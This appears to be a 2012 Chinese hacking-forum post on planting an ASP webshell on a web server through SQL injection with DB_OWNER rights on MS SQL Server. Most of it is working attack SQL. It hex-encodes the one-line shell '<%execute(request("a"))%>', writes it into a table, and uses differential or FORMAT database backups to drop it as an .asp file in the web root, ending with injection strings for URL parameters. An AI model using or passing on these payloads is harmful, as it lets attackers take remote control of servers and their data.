找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
' e7 F' ]" e4 s' ~4 }/ E$ S
4 ~! F$ i( `9 p- N0 [减少备份文件大小,得到可执行的webshell成功率提高不少! \/ R5 `- Q8 Y5 t7 `
一利用差异备份5 }) v: j; G: R
加一个参数WITH DIFFERENTIAL
$ D; h" O3 \9 r0 F: z( j; f- {8 {' ^9 f/ ^/ _8 B8 {
1- H: D1 x% d  u- Z4 O
2
  R: i0 J3 w. G+ u  H! W3 d39 O) L; P9 [( A' l2 i. S
4
4 y, w9 e( ?  O2 c- [) I1 U! b declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s, J; N+ D% C. Y  c
create table [dbo].[xiaolu] ([cmd] [image]);
! D8 z! R- n( }: g: C) P& finsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
5 J% F, A6 N5 J- tdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL 4 e8 C: o/ `" Q+ p

, z1 C) N; N$ J" T, l二利用完全FORMAT% i) G% o3 D6 w+ |, s4 Q5 N
加一个参数WITH FROMAT- N4 Z$ m* |# M! Q
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
, M2 \$ i. I1 S+ R0 J
/ h! X$ Y* y. S+ ?! a) C  A1+ f9 ]0 h$ m. s  {! m
2& p* C- x7 x3 @7 I) V
3
& o$ Z; m7 v, R( B/ P  b4
& U  \' S) y. P4 w( Z declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s) z* H* \% \, ?6 s# A
create table [dbo].[xiaolu] ([cmd] [image]);
8 k1 p/ x9 r/ y9 n  [9 U! pinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)4 T, F' d3 b' z( [: _
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
6 @: d- c4 z2 [* Z( \" D; D5 h1 S8 A* w- T
总的来说就是那么简单几句,下面以备份数据库model为例子
' p/ O4 e, W0 p: A9 q1
. F7 z# x* Y; c1 ^7 [' X& g/ t3 G% z' Y. W. }' ~$ ]' r% S
1- m! {8 _! |+ ~+ F
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
9 Q# u0 l! K; ?. V/ @7 @5 u" h; x3 Z6 z8 |8 \; c9 t$ ]6 [
2: X+ ?  K! X. z3 a4 j7 |* g' O

- N' E# h1 ]( v! K1
0 e( u5 q9 V0 r% E id=1;backup database model to disk='你的路径‘ with differential,format;--
3 z/ y( R) L, m5 I  |6 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表